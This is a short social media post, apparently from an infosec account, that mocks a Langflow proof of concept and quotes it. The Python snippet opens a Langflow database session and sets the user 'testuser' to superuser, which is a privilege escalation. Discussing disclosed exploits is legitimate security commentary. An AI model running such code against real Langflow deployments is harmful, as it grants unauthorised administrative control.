Go hack more Langflow shit. That PoC... 🤣 https://github.com/langflow-ai/langfl...

@cR0w@infosec.exchange

Go hack more Langflow shit. That PoC... 🤣

github.com/langflow-ai/langflo

import asyncio
from sqlmodel import select
from langflow.services.database.models.user.model import User
from langflow.services.deps import session_scope

async def escalate():
async with session_scope() as session:
stmt = select(User).where(User.username == 'testuser')
user = (await session.exec(stmt)).first()
if user:
user.is_superuser = True
session.add(user)
await session.commit()

asyncio.run(escalate())